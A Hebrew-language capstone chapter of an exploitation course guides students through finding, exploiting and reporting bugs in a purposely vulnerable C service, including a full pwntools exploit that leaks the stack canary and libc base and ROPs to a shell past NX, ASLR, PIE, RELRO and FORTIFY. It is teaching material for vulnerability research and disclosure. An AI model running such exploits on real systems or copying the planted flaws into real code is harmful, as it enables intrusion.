לדלג לתוכן

10.7 פרויקט סיום פרויקט

הגענו לסוף הקורס, ולפרויקט שסוגר את כל המסע. עד עכשיו כל אתגר בא ארוז ומוכן: מישהו כבר מצא את הבאג בשבילכם, ואתם רק היו צריכים לנצל אותו. בפרק הזה, פרק 10, למדנו את הצד השני של המקצוע - איך מוצאים חולשה מאפס בקוד שאף אחד עוד לא הסתכל עליו: סקירת קוד מקור, פאזינג עם AFL, פאזינג עם libFuzzer וסניטייזרים, ניתוח CVE, וכתיבת דוח גילוי אחראי. עכשיו נחבר את הכל לתהליך אחד שלם, בדיוק כמו שחוקר חולשות אמיתי עובד: מקבלים תוכנה, מוצאים בה באג, מנצלים אותו עד shell, וכותבים עליו דוח מקצועי.

זה הפרויקט המסכם של הקורס. הוא לא מלמד טכניקה חדשה - הוא דורש מכם להפעיל לבד את כל מה שצברתם: לזהות מחלקת באג, לבנות פרימיטיבים, לעקוף מחסום שלם של הגנות מודרניות שכולן דלוקות, ולתקשר את הממצא כמו איש מקצוע. קחו את הזמן. זה הפרויקט שאתם שמים בתיק העבודות.

פרויקט - ממציאת החולשה ועד דוח הגילוי

המשימה: תקבלו תוכנה קטנה אך מציאותית ב-C, שירות רשת בשם recordd שמנהל רשומות בזיכרון. הבינארי מקומפל עם כל מנגנוני ההגנה המודרניים דלוקים. עליכם:

  1. למצוא לפחות חולשה אחת בת-ניצול, בשתי הדרכים שלמדנו - סקירת קוד וגם פאזינג - ולתעד את שתיהן.
  2. לנצל אותה: לבנות exploit שלם שעוקף את כל ההגנות הדלוקות ופותח shell אינטראקטיבי.
  3. לדווח: לכתוב דוח גילוי אחראי מקצועי, ברמה שאפשר לשלוח לספק או להגיש לתוכנית bug bounty.

זה לא תרגיל צעצוע. אין פונקציית win, אין כתובת קבועה, ואין רמזים בקוד. יש שירות, יש באג אמיתי, ויש מחסום הגנות שצריך לפרוץ בשכל.

מה בונים ומה המטרה

הקריטריון להצלחה חד משמעי - shell אינטראקטיבי אמיתי, שנפתח מול הבינארי המוקשח:

$ python3 exploit.py
[*] bug class 1: format string in the log path (CWE-134)
[*] bug class 2: stack buffer overflow in the name command (CWE-121)
[+] canary   = 0x8f3ac1e6b2d90100
[+] libc base= 0x7f2b4c000000
[+] system   = 0x7f2b4c050d70
[+] /bin/sh  = 0x7f2b4c1d8698
[*] Switching to interactive mode
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ cat flag.txt
VR{from_a_blank_binary_to_a_shell_and_a_clean_report}

שימו לב לשתי השורות הראשונות: ה-exploit לא רק פותח shell, הוא גם מצהיר אילו באגים הוא מנצל. זה לא קישוט - זה חלק מהעבודה. חוקר חולשות שלא יודע לנסח מה בדיוק הבאג לא יכול לכתוב עליו דוח.

הנחות הגנה - protections

לפני שכותבים שורת exploit אחת חייבים לדעת נגד מה עומדים. בניגוד לפרויקטים המוקדמים בקורס, כאן לא כיבינו כלום. הבינארי מקומפל בדיוק כמו תוכנה אמיתית מהעשור האחרון, וגם ASLR של המערכת דלוק. זה מה שהופך את הפרויקט למציאותי:

  • מנגנון NX דלוק. המחסנית לא ניתנת להרצה. אין injection shellcode. ננצל דרך ROP ו-ret2libc, בדיוק כמו בפרק 4.
  • מנגנון ASLR דלוק (מלא). כתובות ה-libc, המחסנית וה-heap מוגרלות בכל הרצה. אין שום כתובת libc קבועה, ולכן חייבים לדלוף אחת בזמן ריצה.
  • מנגנון PIE דלוק. גם הבינארי עצמו נטען בכתובת אקראית, ולכן אין אפילו נקודת עיגון קבועה בקוד שלנו. גם את בסיס ה-PIE נצטרך לדלוף (אם כי, כפי שנראה, chain ROP מבוססת libc בלבד חוסכת לנו את התלות הזו).
  • קנרי - canary דלוק (-fstack-protector-strong). overflow buffer על המחסנית תיתקל בcanary לפני שהיא מגיעה להreturn address. נצטרך לדלוף אותו ולהחזיר אותו במקום.
  • מנגנון RELRO במצב Full. ה-GOT לקריאה בלבד אחרי הטעינה, ולכן דריסת GOT (כמו בפרק 5.4) לא אפשרית כאן. זו בדיוק הסיבה שנבחר ב-ret2libc על המחסנית ולא בחטיפת GOT.
  • מנגנון FORTIFY דלוק (-D_FORTIFY_SOURCE=2). זה הופך את printf על מחרוזת לא-קבועה ל-__printf_chk, שחוסם %n שמצביע לזיכרון בר-כתיבה. שימו לב היטב: זה חוסם כתיבה עם %n, אבל לא חוסם קריאה עם %p. הleak שלנו נשענת רק על קריאה, ולכן FORTIFY לא עוצר אותה. זה פרט חשוב לדוח.

התמונה: חמישה מחסומים דלוקים בבת אחת. הטריק אינו לשבור כל אחד בנפרד, אלא להבין שleak אחת טובה מפילה שלושה מהם יחד (ASLR, PIE, canary), ואת שני הנותרים (NX, RELRO) עוקפים בבחירת הטכניקה הנכונה מלכתחילה.

המטרה - קוד המקור

הנה השירות המלא. שמרו אותו כ-recordd.c. קראו אותו בעיון לפני שאתם ממשיכים - חלק מהפרויקט הוא לזהות את הבאגים בעצמכם:

// recordd.c - a simple in-memory records service, reads commands line by line from stdin
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define NREC 16
static char *recs[NREC];

static int read_line(char *buf, int cap) {
    int n = 0;
    while (n < cap - 1) {
        char c;
        int r = read(0, &c, 1);
        if (r <= 0) return n ? n : -1;
        if (c == '\n') break;
        buf[n++] = c;
    }
    buf[n] = 0;
    return n;
}

static void cmd_echo(const char *arg) {
    // the user's input goes directly in as the format string
    printf("[echo] ");
    printf(arg);
    printf("\n");
}

static void cmd_name(const char *arg) {
    char buf[64];
    int len = atoi(arg);          // the length is controlled by the user
    read(0, buf, len);            // no check against sizeof(buf)
    printf("stored %d bytes\n", len);
}

static void cmd_set(const char *arg) {
    int i = atoi(arg);
    if (i < 0 || i >= NREC) { puts("bad index"); return; }
    free(recs[i]);
    recs[i] = strdup(arg);
    puts("ok");
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin,  NULL, _IONBF, 0);
    char line[256];
    puts("recordd 1.0 ready");
    while (1) {
        int n = read_line(line, sizeof(line));
        if (n < 0) break;
        if      (!strncmp(line, "echo ", 5)) cmd_echo(line + 5);
        else if (!strncmp(line, "name ", 5)) cmd_name(line + 5);
        else if (!strncmp(line, "set ",  4)) cmd_set(line + 4);
        else if (!strncmp(line, "quit",  4)) break;
        else {
            // the error path also prints untrusted input as the format string
            printf("[err] unknown command: ");
            printf(line);
            printf("\n");
        }
    }
    return 0;
}

הקומפילציה, עם כל ההגנות דלוקות. זה בדיוק חלק ההגדרה של הפרויקט:

gcc -O2 -fstack-protector-strong -D_FORTIFY_SOURCE=2 \
    -Wl,-z,relro,-z,now -pie -fPIE -o recordd recordd.c

ומוודאים ש-ASLR של המערכת דלוק - אנחנו תוקפים אותו, לא בורחים ממנו:

cat /proc/sys/kernel/randomize_va_space
# 2   = full ASLR. That's what we want.

כדי שהתקיפה תהיה מציאותית, הריצו את השירות מאחורי socat כך שהוא מקבל חיבורי רשת, בדיוק כמו שרת אמיתי:

socat TCP-LISTEN:9999,reuseaddr,fork EXEC:./recordd

אימות ההגנות - checksec

לפני שכותבים exploit, מריצים checksec ומוודאים שהתמונה תואמת למה שהגדרנו:

checksec --file=./recordd

פלט צפוי:

Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
FORTIFY:   Enabled

כל המחסומים דלוקים. זה בדיוק המצב שבו נמצאת רוב התוכנה שתפגשו בשטח.

תהליך העבודה - the VR workflow

חוקר חולשות טוב לא קופץ ישר לexploit. יש תהליך, ואתם תיישמו אותו כאן במלואו: סקירת קוד -> פאזינג -> מיון קריסה -> exploit -> דוח. שלושת השלבים הראשונים הם למצוא ולהבין את הבאג, ואת שניהם (סקירה ופאזינג) אתם חייבים לתעד.

סקירת קוד - source audit

עוברים על המקור ומחפשים את הדפוסים המסוכנים שלמדנו לזהות בשיעור 10.1. שלושה חשודים מיידיים כאן:

  • הקריאות printf(arg) ו-printf(line) - הקלט של המשתמש נכנס כמחרוזת הformat עצמה. זו חולשת format string קלאסית (CWE-134). מופיעה גם ב-cmd_echo וגם בנתיב ה-unknown command.
  • הקריאה read(0, buf, len) עם len שמגיע מ-atoi(arg) לתוך char buf[64] - אורך שנשלט על ידי המשתמש, בלי שום בדיקה מול sizeof(buf). זו overflow buffer על המחסנית (CWE-121).
  • השחרור free(recs[i]) ואז strdup ב-cmd_set - שווה מבט שני (יש כאן use-after-free עדין אם ה-free נכשל? לא ממש, אבל תתרגלו לשאול). זה פיתיון: הבאג האמיתי והנוח לexploit הוא השניים הראשונים.

הפקודות שמאיצות סקירה כזו, ישר מ-10.1:

grep -nE 'printf *\([a-z_]+\)' recordd.c        # printf on a variable, not a literal
grep -nE 'strcpy|strcat|sprintf|gets|memcpy|read' recordd.c
grep -nE 'atoi|atol|strtol' recordd.c           # lengths/indices coming from input

פאזינג - fuzzing

הסקירה נותנת השערה. הפאזינג נותן הוכחה - קלט אמיתי שמפיל את התוכנה. מכיוון ש-recordd קורא מ-stdin, אפשר לפזז אותו ישירות עם AFL בלי לכתוב harness, בדיוק כמו בשיעור 10.2:

# compile with AFL instrumentation
afl-cc -o recordd_afl recordd.c

# seeds - a few valid command lines that give the fuzzer something to start from
mkdir in
printf 'echo hello\n'  > in/s1
printf 'name 8\nAAAA\n'> in/s2
printf 'set 3\n'       > in/s3

afl-fuzz -i in -o out -- ./recordd_afl

תוך שניות ה-fuzzer ימצא קריסות. הקלט שמפיל את cmd_name הוא כל שורה מסוג name <מספר גדול> שאחריה בתים - הoverflow על המחסנית תדרוס את הcanary ותפיל את התהליך עם *** stack smashing detected *** (כלומר SIGABRT, ולא SIGSEGV - הcanary תפס). זו בדיוק ההוכחה שהבאג קיים וגם ראיה לכך שהcanary דלוק.

למיון מדויק יותר, נקמפל עם סניטייזר, בדיוק כמו בשיעור 10.3. ה-AddressSanitizer יצביע על השורה המדויקת ועל מחלקת הבאג:

gcc -fsanitize=address -g -O1 -o recordd_asan recordd.c
python3 -c "import sys; sys.stdout.buffer.write(b'name 200\n' + b'A'*200)" | ./recordd_asan

הכלי ASan ידפיס stack-buffer-overflow ויצביע ישירות על cmd_name, כולל ה-frame ומספר השורה. זה הפלט שתצרפו לדוח כראיה.

מיון הקריסה - triage

עכשיו מבינים מה נמצא. לכל קריסה שואלים שלוש שאלות מהשיעור על ניתוח קריסות:

  • איפה קרסנו? (cmd_name, overflow על buf)
  • מה בשליטתנו? (כל הבתים אחרי buf, כולל הcanary, ה-rbp השמור והreturn address - read מאפשר גם בתי null)
  • האם זה בר-ניצול? overflow על הreturn address עם שליטה מלאה על התוכן = כן, בהחלט. רק צריך לעקוף את הcanary, ולשם זה נכנסת חולשת ה-format string.

אסטרטגיית הניצול - exploitation strategy

הנה התובנה שמחברת את שני הבאגים לכדי exploit אחד. הoverflow על המחסנית לבדה חסרת ערך - היא נתקלת בcanary ומפילה את התהליך. חולשת ה-format string לבדה חסרת ערך - FORTIFY חוסם את הכתיבה עם %n. אבל ביחד הם משלימים זה את זה בצורה מושלמת:

format string (read only)           stack overflow (full write)
+---------------------------+       +----------------------------+
| leaks the canary          |  ==>  | fills in the canary with the correct value |
| leaks a libc address       |  ==>  | builds ROP to system("/bin/sh")|
+---------------------------+       +----------------------------+

התוכנית בשני שלבים, באותו חיבור ובאותו תהליך (קריטי - ASLR והcanary מוגרלים מחדש בכל תהליך, אז הleak חייבת להיות באותה הרצה כמו הexploit):

שלב 1 - leak עם format string

שולחים פקודת echo עם מפרטי %p ממוקמים, קוראים מהמחסנית את הcanary ואת כתובת ה-libc, ומחשבים את בסיס ה-libc. הcanary הוא ערך אחד לכל התהליך (הוא נשמר ב-fs:[0x28], זהה לכל ה-frames), אז leak שלו מ-cmd_echo נותנת בדיוק את הcanary שיושב ב-cmd_name. זו נקודה חשובה - היא מה שהופך את התקיפה לאפשרית.

What we read from the stack with %p:
+-----------------------------+
| return address into libc     |  <-- computes the libc base from it
+-----------------------------+
| ...                         |
| canary value (ends in 00)   |  <-- returned in stage 2
+-----------------------------+
| ... slots on the stack ...   |
+-----------------------------+

שלב 2 - overflow עם ROP

שולחים name <len> עם payload שממלא את הbuffer, מניח את הcanary המדויק במקומו, ואז בונה chain ret2libc שמריצה system("/bin/sh"):

The stage 2 payload (bottom to top by address):
+------------------------------+
| system address (in libc)      |  <-- system("/bin/sh")
+------------------------------+
| gadget address: ret           |  <-- stack alignment to 16 (movaps)
+------------------------------+
| "/bin/sh" address (in libc)   |  <-- goes into rdi
+------------------------------+
| gadget address: pop rdi ; ret |  <-- ret jumps here first
+------------------------------+
| saved rbp (garbage, 8 bytes)  |
+------------------------------+
| the exact canary (8 bytes)    |  <-- must match, otherwise abort
+------------------------------+
| filler up to the canary (72 bytes) |  <-- exact length from the disassembly
+------------------------------+

הגאדג'טים (pop rdi ; ret, ret) והכתובות (system, /bin/sh) כולם מ-libc, לא מהבינארי. זו בחירה מכוונת: מכיוון ש-PIE דלוק, גאדג'טים בבינארי דורשים leak נוספת של בסיס ה-PIE, בעוד שאת בסיס ה-libc כבר דלפנו. chain מבוססת-libc בלבד חוסכת לנו צעד. זה גם עוקף את Full RELRO בלי מאמץ, כי אנחנו לא נוגעים ב-GOT בכלל.

אבני דרך - milestones

אל תנסו לכתוב את הכל במכה אחת. עברו דרך חמש אבני דרך, וודאו שכל אחת עובדת לפני שממשיכים.

אבן דרך 1 - למצוא ולתעד את הבאג

הריצו סקירת קוד וגם פאזינג, והפילו את התהליך לבד. שמרו את פלט ה-ASan ואת הקלט המפיל. בסוף השלב הזה יש לכם קובץ crash והבנה מדויקת של שתי מחלקות הבאג.

אבן דרך 2 - leak של format string

מצאו את המיקום (positional index) של הcanary ושל כתובת libc על המחסנית. שלחו echo %p %p %p ... והשוו מול gdb. בסוף השלב אתם מדפיסים canary הגיוני (מסתיים ב-00) ובסיס libc שמסתיים ב-000.

אבן דרך 3 - איתור offset הoverflow

מ-gdb, מצאו כמה בתים מפרידים בין תחילת buf לבין הcanary, ובין הcanary לreturn address. אל תנחשו - קראו את הדיסאסמבלי (פירוט בהמשך).

אבן דרך 4 - shell

הרכיבו את שני השלבים באותו חיבור: leak ואז overflow עם ROP. אם התהליך קורס עם stack smashing detected, הcanary לא תואם - בדקו את הleak. אם הוא קורס בתוך system על movaps, חסר גאדג'ט ret לalignment.

אבן דרך 5 - דוח הגילוי

כתבו את דוח הגילוי האחראי. זה חלק מלא בציון, לא נספח.

איתור ה-offsets עם gdb - recon

שני מספרים צריך למצוא פעם אחת ב-gdb, ולא לנחש.

מיקום הcanary וה-libc בleak. מריצים תחת pwndbg, שולחים סריקת %p, ומצליבים מול המחסנית:

pwndbg> b cmd_echo
pwndbg> run
# in another terminal / via the connection: echo %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
pwndbg> telescope $rsp 20
# identify which slot is the canary (a random value ending in 00, matching fs:[0x28])
# and which slot is an address inside libc (inside __libc_start_call_main)

נניח שמצאתם שהcanary הוא הארגומנט ה-15 וכתובת ה-libc היא הארגומנט ה-17. אז בשלב הleak תשתמשו ב-%15$p ו-%17$p. תמצאו את המספרים האלה לבנייה שלכם - הם תלויים בגרסת gcc ובסידור המחסנית.

את ה-offset של כתובת ה-libc שדלפה מבסיס ה-libc מוצאים פעם אחת:

pwndbg> vmmap libc
0x7ffff7d dc000  ...          # the libc base
# leaked_libc_ptr - libc_base = LIBC_RET_OFF   (constant for a given libc build)

בדיוק כמו שבפרויקט ה-heap מצאנו את ה-offset של main_arena פעם אחת - אל תסמכו על מספר מודבק בעיניים עצומות, מצאו אותו ל-libc שלכם.

ה-offset של הoverflow. מפרקים את cmd_name ורואים איפה יושב buf ואיפה הcanary:

pwndbg> disassemble cmd_name
   ... lea    rax, [rbp - 0x50]     ; this is the address of buf
   ... mov    rax, qword [fs:0x28]  ; loading the canary
   ... mov    qword [rbp - 8], rax  ; the canary is stored at rbp-8

אם buf יושב ב-rbp-0x50 (כלומר 80) והcanary ב-rbp-8, אז יש 0x50 - 8 = 0x48 כלומר 72 בתים מילוי עד הcanary. אחריו 8 בתים canary, 8 בתים rbp שמור, ואז הreturn address. שוב - אלה המספרים לבנייה מסוימת, אמתו אותם אצלכם.

שלד ה-exploit - starting skeleton

הנה נקודת פתיחה. השלימו את מה שמסומן ב-TODO:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./recordd')
libc = ELF('./libs/libc.so.6', checksec=False)   # the libc you tested against
context.log_level = 'info'

# numbers you found in gdb - verify them for your own build!
CANARY_POS   = 15        # echo %15$p  -> the canary
LIBC_POS     = 17        # echo %17$p  -> return address inside libc
LIBC_RET_OFF = 0x29d90   # (leaked_libc_ptr - libc_base), constant for a build
FILL         = 72        # from buf to the canary (from the disassembly)

def start():
    return process('./recordd')      # replace with remote(HOST, 9999) against the server

def leak(io):
    io.recvuntil(b'ready\n')
    io.sendline(b'echo %%%d$p|%%%d$p' % (CANARY_POS, LIBC_POS))
    io.recvuntil(b'[echo] ')
    part = io.recvline().strip().split(b'|')
    canary   = int(part[0], 16)
    libc_ptr = int(part[1], 16)
    libc.address = libc_ptr - LIBC_RET_OFF
    return canary

def pwn():
    io = start()
    canary = leak(io)
    log.success('canary   = %#x' % canary)
    log.success('libc base= %#x' % libc.address)
    assert libc.address & 0xfff == 0, 'libc base not aligned - wrong offset'

    # TODO milestone 4: build the ROP chain from libc and assemble the payload
    # rop = ROP(libc) ; pop_rdi = ... ; ret = ... ; binsh = ... ; system = ...
    # chain = flat(b'A'*FILL, p64(canary), p64(0), pop_rdi, binsh, ret, system)
    # io.sendline(b'name %d' % len(chain))
    # io.send(chain)
    # io.interactive()

if __name__ == '__main__':
    pwn()

בנו את זה בהדרגה: קודם הleak לבד (הדפיסו canary ובסיס), ורק כשהם הגיוניים - הוסיפו את chain ה-ROP.

פתרון ייחוס - reference exploit

אחרי שהתמודדתם לבד, הנה exploit מלא ורץ. השתמשו בו כדי להשוות לעצמכם, לא כדי לדלג על העבודה:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./recordd')
libc = ELF('./libs/libc.so.6', checksec=False)
context.log_level = 'info'

CANARY_POS   = 15
LIBC_POS     = 17
LIBC_RET_OFF = 0x29d90     # verify in gdb for your build
FILL         = 72          # verify in the disassembly of cmd_name

def start():
    return process('./recordd')     # remote('HOST', 9999) against the server

def pwn():
    io = start()

    log.info('bug class 1: format string in the log path (CWE-134)')
    log.info('bug class 2: stack buffer overflow in the name command (CWE-121)')

    # --- stage 1: leak with format string ---
    io.recvuntil(b'ready\n')
    io.sendline(b'echo %%%d$p|%%%d$p' % (CANARY_POS, LIBC_POS))
    io.recvuntil(b'[echo] ')
    canary_s, libc_s = io.recvline().strip().split(b'|')
    canary   = int(canary_s, 16)
    libc_ptr = int(libc_s, 16)
    libc.address = libc_ptr - LIBC_RET_OFF
    assert libc.address & 0xfff == 0, 'libc base not aligned - wrong offset'

    system = libc.sym['system']
    binsh  = next(libc.search(b'/bin/sh\x00'))
    rop     = ROP(libc)
    pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
    ret     = rop.find_gadget(['ret'])[0]

    log.success('canary   = %#x' % canary)
    log.success('libc base= %#x' % libc.address)
    log.success('system   = %#x' % system)
    log.success('/bin/sh  = %#x' % binsh)

    # --- stage 2: overflow with ROP to system("/bin/sh") ---
    chain = flat(
        b'A' * FILL,       # filler up to the canary
        p64(canary),       # the exact canary - passes the check
        p64(0),            # saved rbp (garbage)
        p64(pop_rdi), p64(binsh),
        p64(ret),          # alignment for movaps
        p64(system),
    )
    io.sendline(b'name %d' % len(chain))
    io.send(chain)

    io.interactive()

if __name__ == '__main__':
    pwn()

הרצה מוצלחת:

$ python3 exploit.py
[*] bug class 1: format string in the log path (CWE-134)
[*] bug class 2: stack buffer overflow in the name command (CWE-121)
[+] canary   = 0x8f3ac1e6b2d90100
[+] libc base= 0x7f2b4c000000
[+] system   = 0x7f2b4c050d70
[+] /bin/sh  = 0x7f2b4c1d8698
[*] Switching to interactive mode
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ cat flag.txt
VR{from_a_blank_binary_to_a_shell_and_a_clean_report}

הexploit הזה דטרמיניסטי כמעט לגמרי: הleak טקסטואלית (אין בתים בעייתיים), והoverflow בשליטה מלאה שלנו. אם בכל זאת אתם רואים כשלים אקראיים (למשל כתובת שהכילה 0x0a ונחתכה), עטפו בלולאת ניסיונות חוזרים עם בדיקת חיות, בדיוק כמו בפרויקט של פרק 4.

דוח הגילוי - disclosure report

מציאת הבאג וניצולו הם חצי מהעבודה. החצי השני, שמבדיל בין חובבן למקצוען, הוא לתקשר את הממצא. כתבו דוח גילוי אחראי לפי המבנה שלמדנו ב-10.6. זו תבנית ההגשה:

Title:       Stack buffer overflow in recordd 1.0 leads to remote code execution
Summary:     The name command reads a user-controlled length into a fixed 64-byte
             buffer with no bounds check, allowing the return address to be
             overwritten. Combined with a format string vulnerability that leaks
             the canary and the libc base, remote code execution is achievable.

Product and version: recordd 1.0
Vulnerability type:   CWE-121 (Stack-based Buffer Overflow), CWE-134 (Format String)
Severity:    CVSS 3.1: 9.8 (Critical) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Defeated mitigations: NX, ASLR, PIE, Stack Canary, Full RELRO, FORTIFY - all enabled

Technical description:
  1. cmd_name reads len from atoi(arg) and performs read(0, buf, len) into char buf[64].
     A len value greater than 64 overflows the stack (including the canary and return address).
  2. cmd_echo and also the unknown-command path perform printf(user_input), a
     format string vulnerability allowing memory reads with %p (FORTIFY only blocks writes with %n).

Proof of concept (PoC):
  - crashing input: b'name 200\n' + b'A'*200  ->  stack smashing detected (SIGABRT)
  - full exploit attached (exploit.py) that opens a shell.
  - AddressSanitizer output attached as evidence, pointing at cmd_name.

Root cause analysis:
  Missing bounds check between the input and the buffer size, combined with
  printing untrusted input as a format string.

Impact:
  Remote code execution in the context of the user running the service. Full compromise.

Suggested fix:
  - Replace read(0, buf, len) with a bounded call: read(0, buf, sizeof(buf)), or
    validate len <= sizeof(buf) before the read.
  - Replace printf(x) with printf("%s", x) in all paths.

Timeline:
  Day 0  - reported to vendor
  Day 90 - coordinated disclosure (per policy)

Credit: <your name / researcher handle>

הדוח לא צריך להיות ארוך, הוא צריך להיות מדויק ושמיש: מישהו שקורא אותו צריך להיות מסוגל לשחזר, להבין את השורש, ולתקן - בלי לשאול אתכם שאלה אחת.

מחוון הציון - grading rubric

כך תיבחן ההגשה. שימו לב שהדוח שווה משקל אמיתי, לא רק ה-shell:

רכיב משקל מה נדרש כדי לקבל את מלוא הנקודות
מציאת הבאג ותיעודו 20% זיהוי שתי מחלקות הבאג, גם בסקירת קוד וגם בפאזינג, עם קלט מפיל ופלט ASan מצורפים
בניית פרימיטיב 20% leak עובדת של הcanary ושל בסיס ה-libc, כל אחד מודפס ומאומת (מיושר לעמוד)
ניצול אמין ל-shell - exploit 35% shell אינטראקטיבי מול הבינארי המוקשח, שבו הרצתם לפחות id ו-cat flag.txt, עם כל ההגנות דלוקות
איכות הדוח 25% דוח גילוי מלא לפי התבנית: שורש, השפעה, CVSS, PoC, תיקון, ציר זמן
מטרות מתיחה בונוס כל מטרת מתיחה שהושלמה ותועדה

הערה חשובה: exploit שעובד אבל בלי דוח מקבל לכל היותר 55%. חוקר חולשות שלא יודע לכתוב את הממצא לא סיים את העבודה.

מלכודות נפוצות - common pitfalls

  • leak וexploit בתהליכים שונים. ASLR והcanary מוגרלים מחדש בכל תהליך. חייבים לדלוף ולתקוף באותו חיבור, אחרת הcanary ובסיס ה-libc כבר השתנו. לכן השירות בלולאה - מדליפים בפקודה אחת, תוקפים בפקודה הבאה.
  • בית ה-null של הcanary. הcanary מסתיים ב-00. הoverflow שלנו משתמשת ב-read שמאפשר בתי null, ולכן אין בעיה. אם הבאג היה מבוסס strcpy - היינו נתקעים על ה-null ולא יכולים לעבור את הcanary. זו בדיוק הסיבה שהבאג הזה בר-ניצול והבאג של strcpy הרבה פחות.
  • alignment movaps. אם ה-exploit קורס בתוך do_system על הוראת movaps, ה-RSP לא מיושר ל-16. הוסיפו גאדג'ט ret בודד לפני system, בדיוק כמו שיש בשלד.
  • המיקום ה-positional שגוי. אם הleak מחזירה זבל, ה-%N$p מצביע על ה-slot הלא נכון. חזרו לסריקת ה-%p וה-telescope, ואמתו את המספרים.
  • הקריאה read עלולה להחזיר פחות בתים. מעל pipe או socket, read בודד עלול לקרוא פחות מ-len. לוקאלית עם pwntools זה כמעט תמיד עובר בבת אחת, אבל אם אתם רואים חוסר סנכרון - שלחו את הpayload בחתיכות או ודאו שכל הבתים במאגר לפני שהתהליך קורא.
  • הפקודה sendline מול send. את chain ה-ROP שולחים עם send (בלי newline מיותר שיזיז את הalignment), אבל את שורת הפקודה name <len> שולחים עם sendline כי read_line מחכה ל-\n.

מטרות מתיחה - stretch goals

השלמתם את המסלול הבסיסי? כך לוקחים את הפרויקט לרמת מחקר אמיתית.

מטרה 1 - כתיבה שרירותית עם %n למרות FORTIFY. FORTIFY חוסם %n שמצביע לזיכרון בר-כתיבה, אבל יש עוקפים (למשל כשהיעד עצמו מקורי, או במסלולים מסוימים של __printf_chk). חקרו האם אפשר להפוך את חולשת ה-format string לפרימיטיב כתיבה, ולנצל אותה לבד, בלי הoverflow. תעדו למה זה עובד או לא עובד על הבנייה שלכם.

מטרה 2 - one_gadget במקום system. במקום chain system("/bin/sh"), מצאו one_gadget ב-libc וקפצו אליו ישירות. זה חוסך את pop rdi ואת /bin/sh, אבל דורש שהאילוצים (constraints) של הגאדג'ט יתקיימו במצב הרגיסטרים בזמן הקפיצה:

one_gadget ./libs/libc.so.6
# 0xebc81 execve("/bin/sh", r15, r12)
#   constraints: [r15] == NULL || r15 == NULL ...

מטרה 3 - זיהוי libc אוטומטי. אל תקבעו את הנתיב ל-libc.so.6. השתמשו בספרות התחתונות של הכתובת שדלפה כדי לזהות את הגרסה מול טבלת מועמדים או מול libc-database, בדיוק כמו בפרויקט של פרק 4. גרמו ל-exploit לעבוד מול שתי גרסאות libc שונות בלי עריכה ידנית.

מטרה 4 - תקיפה מלאה מרחוק עם forking. התוקף מול socat ... EXEC:./recordd,fork (כל חיבור הוא תהליך חדש). ודאו שהleak והexploit עובדים מעבר לרשת, כולל טיפול בהשהיות. הצעד הבא: שרת עם fork יחיד שבו כל הילדים חולקים את אותו ASLR base של ההורה - חקרו איך leak מחיבור אחד יכולה לשמש לתקיפת חיבור אחר.

מטרה 5 - תיקון והוכחת התיקון. יישמו את התיקון שהמלצתם עליו בדוח, קמפלו מחדש, והריצו את אותו exploit - הוא צריך להיכשל. צרפו לדוח את ה-diff של התיקון ואת ההוכחה שהחולשה נסגרה. זה בדיוק מה שספק מבקש לראות לפני שהוא מפרסם תיקון.

קריטריוני הגשה

מה שצריך להגיש בסוף:

  • ראיות מציאה - פלט ה-ASan, הקלט המפיל, וסיכום קצר של סקירת הקוד עם מספרי השורות של שני הבאגים.
  • ניצול מלא - exploit - exploit.py שרץ מול הבינארי המוקשח, מדליף, פותח shell, ומריץ בו id ו-cat flag.txt.
  • דוח גילוי - לפי התבנית, מלא ומדויק.
  • הבינארי וה-libc - קוד ה-C, פקודת הקומפילציה, וקובץ ה-libc.so.6 שמולו בדקתם.
  • מטרות מתיחה - אם ניגשתם, צרפו כל אחת עם הסבר.

זה הפרויקט שסוגר את הקורס. התחלתם בפרק 0 בלמידה מה זה בכלל מצביע על המחסנית, ואתם מסיימים כשאתם לוקחים בינארי מוקשח שאיש לא הסתכל עליו, מוצאים בו באג בשתי שיטות עצמאיות, עוקפים חמישה מנגנוני הגנה בבת אחת, פותחים shell, וכותבים עליו דוח ברמה מקצועית. זה בדיוק מה שחוקר חולשות עושה ביום עבודה רגיל. מכאן והלאה זו רק כמות הפרטים שגדלה - התהליך כבר בידיים שלכם.